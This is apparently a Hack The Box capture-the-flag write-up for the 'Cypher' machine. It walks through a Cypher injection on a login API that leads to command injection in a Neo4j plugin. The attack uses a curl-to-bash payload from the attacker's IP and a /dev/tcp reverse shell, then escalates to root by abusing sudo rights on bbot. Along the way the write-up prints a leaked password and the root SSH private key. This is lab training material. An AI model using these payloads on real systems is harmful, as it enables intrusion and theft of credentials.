HTB: Cypher - Medium
Enumeration
At the start, we run a Nmap scan. This shows that port 22 and port 80 are open:
nmap -sV -sC 10.129.222.100 --min-rate=10000 -oN cypher.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-05 16:22 CEST
Nmap scan report for 10.129.222.100
Host is up (0.013s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds
We add cypher.htb to our /etc/hosts file.
Now we can run a directory brute-force attack, to reveal possible files or end-points:
feroxbuster --url http://cypher.htb --threads=10
[..]
307 GET 0l 0w 0c http://cypher.htb/api/ => http://cypher.htb/api/api
405 GET 1l 3w 31c http://cypher.htb/api/auth
[..]
301 GET 7l 12w 178c http://cypher.htb/testing => http://cypher.htb/testing/
200 GET 17l 139w 9977c http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
[..]
With as result, being the most interesting one - the .jar file.

Since the JAR file is compiled, we’d want to decompile it and obtain the source code. This is done by navigating to https://www.decompiler.com and submitting the code.
The following source code is revealed:
package com.cypher.neo4j.apoc;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
public class CustomFunctions {
@Procedure(
name = "custom.getUrlStatusCode",
mode = Mode.READ
)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
String line;
while((line = errorReader.readLine()) != null) {
errorOutput.append(line).append("\n");
}
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0) {
System.err.println("Error output:\n" + errorOutput.toString());
}
return Stream.of(new CustomFunctions.StringOutput(statusCode));
}
public static class StringOutput {
public String statusCode;
public StringOutput(String statusCode) {
this.statusCode = statusCode;
}
}
}
This contains the following part, being vulnerable for Code Injection:
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
We now need to find a entry point for our command injection possibility.
Cypher Injection to RCE
After navigating through the website of http://cypher.htb I tried some characters to obtain errors. The following request was sent:
POST /api/auth HTTP/1.1
Host: cypher.htb
Content-Length: 39
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Origin: http://cypher.htb
Referer: http://cypher.htb/login
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
{"username":"a'test","password":"test"}
Revealing the following stacktrace error:
HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Sat, 05 Apr 2025 15:13:28 GMT
Content-Length: 3817
Connection: keep-alive
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
[..]
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Invalid input 'test': expected an expression, 'FOREACH', 'ORDER BY', 'CALL', 'CREATE', 'LOAD CSV', 'DELETE', 'DETACH', 'FINISH', 'INSERT', 'LIMIT', 'MATCH', 'MERGE', 'NODETACH', 'OFFSET', 'OPTIONAL', 'REMOVE', 'RETURN', 'SET', 'SKIP', 'UNION', 'UNWIND', 'USE', 'WITH' or <EOF> (line 1, column 56 (offset: 55))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a'test' return h.value as hash"
^}
It seems that this is a possible injection point.
We know from the naming of the JAR file and Googling it’s information, that it uses Cypher (and of course how the box is called). With this information, it could be a possible Cypher Injection attack.
After debating with a AI chatbot app, and trying different Cypher Injection attacks - I let the AI chatbot app craft a payload with the source code of the decompiled JAR file.
The attack is in-band injection with UNION, which can be found at https://pentester.land/blog/cypher-injection-cheatsheet/#example-in-band-injection-with-union.
So directly I tested for the command injection attack, where I used the following payload
TheFunky1' RETURN h.value AS result UNION CALL custom.getUrlStatusCode(\"http://example.com;curl 10.10.14.69/tests\") YIELD statusCode AS result RETURN result //
and added that to the username data:
{
"username": "TheFunky1' RETURN h.value AS result UNION CALL custom.getUrlStatusCode(\"http://example.com;curl 10.10.14.69/tests\") YIELD statusCode AS result RETURN result //",
"password": ""
}
After the request with the data is sent, I received the following response in my Python web server (started with python3 -m http.server 80):
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.222.100 - - [05/Apr/2025 18:42:15] code 404, message File not found
10.129.222.100 - - [05/Apr/2025 18:42:15] "GET /tests HTTP/1.1" 404 -
I tried to add a reverse shell in the payload, but this did not seem to succeed. So I created a file called rev.sh containing /bin/bash -i >& /dev/tcp/10.10.14.69/80 0>&1 and served this again using the Python web server.
And to execute the command from the shell file, I piped it into bash with |bash :
{
"username": "TheFunky1' RETURN h.value AS result UNION CALL custom.getUrlStatusCode(\"http://example.com;curl 10.10.14.69:443/rev.sh|bash\") YIELD statusCode AS result RETURN result //",
"password": ""
}
And after sending this request, the request is made to /rev.sh:
Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ...
10.129.222.100 - - [05/Apr/2025 18:47:19] "GET /rev.sh HTTP/1.1" 200 -
And a reverse shell is obtained:
neo4j@cypher:~$ whoami
whoami
neo4j
Obtaining the user flag
Running ls -lash reveals a file called .bash_history, and his file is read – revealing credentials:
neo4j@cypher:~$ ls -lash
ls -lash
total 52K
4.0K drwxr-xr-x 11 neo4j adm 4.0K Feb 17 16:39 .
4.0K drwxr-xr-x 50 root root 4.0K Feb 17 16:48 ..
4.0K -rw-r--r-- 1 neo4j neo4j 63 Oct 8 18:07 .bash_history
4.0K drwxrwxr-x 3 neo4j adm 4.0K Oct 8 18:07 .cache
4.0K drwxr-xr-x 2 neo4j adm 4.0K Aug 16 2024 certificates
4.0K drwxr-xr-x 6 neo4j adm 4.0K Oct 8 18:07 data
4.0K drwxr-xr-x 2 neo4j adm 4.0K Aug 16 2024 import
4.0K drwxr-xr-x 2 neo4j adm 4.0K Feb 17 16:24 labs
4.0K drwxr-xr-x 2 neo4j adm 4.0K Aug 16 2024 licenses
4.0K -rw-r--r-- 1 neo4j adm 52 Oct 2 2024 packaging_info
4.0K drwxr-xr-x 2 neo4j adm 4.0K Feb 17 16:24 plugins
4.0K drwxr-xr-x 2 neo4j adm 4.0K Feb 17 16:24 products
4.0K drwxr-xr-x 2 neo4j adm 4.0K Apr 5 14:16 run
0 lrwxrwxrwx 1 neo4j adm 9 Oct 8 18:07 .viminfo -> /dev/null
neo4j@cypher:~$ cat .bash_history
cat .bash_history
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
Reviewing the users, with cat /etc/passwd | grep bash :
root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash
The user graphasm is revealed, and it is possible to SSH to this user:
ssh graphasm@cypher.htb
graphasm@cypher.htb's password:
[..]
graphasm@cypher:~$ whoami
graphasm
graphasm@cypher:~$ cat user.txt
b2906[..]e5f91
Privilege Escalation
First of all, when user access is obtained – I ran sudo -l revealing the following:
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
This indicates that we can run bbot as root. This tool is a OSINT automation type of tool, allowing for creating templates and running these.
Obtaining root flag, method 1
graphasm@cypher:~$ bbot -asldkfjsd
[..]
www.blacklanternsecurity.com/bbot
usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] [-b BLACKLIST [BLACKLIST ...]] [--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]]
[-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]] [--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-s] [--force] [-y] [--dry-run] [--current-preset] [--current-preset-full] [-o DIR]
[-om MODULE [MODULE ...]] [--json] [--brief] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version]
[-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [--custom-yara-rules CUSTOM_YARA_RULES]
bbot: error: unrecognized arguments: -asldkfjsd
This reveals the -t flag. Which we can use to specify a file containing targets.
Reading the root flag can be as easy as running:
sudo bbot -t /root/root.txt -vvvv
Enter is clicked a couple of times, revealing the DNS_NAME of the ‘so called host’:
SUCC] Starting scan large_merry
[VERB] Starting module worker loops
[VERB] 12 modules started
[VERB] _scan_ingress: Target: SCAN("{'id': 'SCAN:82d5345df8f9a085cc6aa1fc759eda44ea8c8517', 'name': 'large_merry', '...", module=TARGET, tags={'target', 'in-scope'})
[VERB] _scan_ingress: Target: DNS_NAME("827b[..]78d76", module=TARGET, tags={'distance-1', 'target'})
[SCAN] large_merry (SCAN:82d5345df8f9a085cc6aa1fc759eda44ea8c8517) TARGET (in-scope, target)
^C[WARN] Aborting scan
This reveals the DNS name being the root flag.
Obtaining root flag, method 2
There is another way to read out the /root/root.txt flag - and even reveal its SSH key without being cut off.
This is done by using the same kind of method, but specifying -cy for a custom yara rule. The --debug flag is used to reveal all information:
sudo bbot -cy /root/root.txt --debug
[DBUG] internal.excavate: Final combined yara rule contents: 827b98ce7911d6e4b93fa85f57c78d76
And for the SSH key:
sudo bbot -cy /root/.ssh/id_ed25519 --debug
DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/.ssh/id_ed25519]
[DBUG] internal.excavate: Final combined yara rule contents: -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAgv21YFyMHuBWK6Rwrso22gu7RpL0BtLjfcO2KSBN+5AAAAJC3399Ut9/f
VAAAAAtzc2gtZWQyNTUxOQAAACAgv21YFyMHuBWK6Rwrso22gu7RpL0BtLjfcO2KSBN+5A
AAAEAGEVbsveMGqFEpPtwEUMqc39F1JisXxPdWVl9E7N0nFiC/bVgXIwe4FYrpHCuyjbaC
7tGkvQG0uN9w7YpIE37kAAAAC3Jvb3RAY3lwaGVyAQI=
-----END OPENSSH PRIVATE KEY-----
But this requires a password, which we do not have.
Obtaining full root shell, method 3
To obtain a full root shell, the source https://www.blacklanternsecurity.com/bbot/Stable/dev/module_howto/ indicates that we can create our own module..
So I copied the template, and modified it to create a file called whoami.txt in the /tmp/ directory:
rom bbot.modules.base import BaseModule
import subprocess
class whosnot(BaseModule):
subprocess.run(['whoami > /tmp/whoami.txt'], shell=True)
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
produced_events = ["WHOIS"] # we produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # only run once per domain
base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"
# one-time setup - runs at the beginning of the scan
async def setup(self):
self.api_key = self.config.get("api_key")
if not self.api_key:
# soft-fail if no API key is set
return None, "Must set API key"
async def handle_event(self, event):
self.hugesuccess(f"Got {event} (event.data: {event.data})")
_, domain = self.helpers.split_domain(event.data)
url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
self.hugeinfo(f"Visiting {url}")
response = await self.helpers.request(url)
if response is not None:
await self.emit_event(response.json(), "WHOIS", parent=event)
Which I then saved in a file called moduleshe and named it whosnot.py.
At the bottom of the documentation it shows how to specify a custom modules directory, which is done with:
# load BBOT modules from these additional paths module_dirs: - /home/user/my_modules
So that is what I did, with as result the bbot_preset.yml being:
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
module_dirs:
- /home/graphasm/moduleshe
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
The module can be selected using -m and the preset can be selected using --preset:
sudo bbot --preset ./bbot_preset.yml -m whosnot
Which is then executed, and it is confirmed that the file whoami.txt is created as root:
graphasm@cypher:~$ ls -lash /tmp/whoami.txt
4.0K -rw-r--r-- 1 root root 5 Apr 5 20:34 /tmp/whoami.txt
With that information I set the SUID for /bin/bash (I have my own machine with VIP+) with the following chmod command in the code:
class whosnot(BaseModule):
subprocess.run(['chmod u+s /bin/bash'], shell=True)
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
And as soon as I run the command sudo bbot --preset ./bbot_preset.yml -m whosnot again – the root shell is obtained:
graphasm@cypher:~$ /bin/bash -p
bash-5.2# whoami
root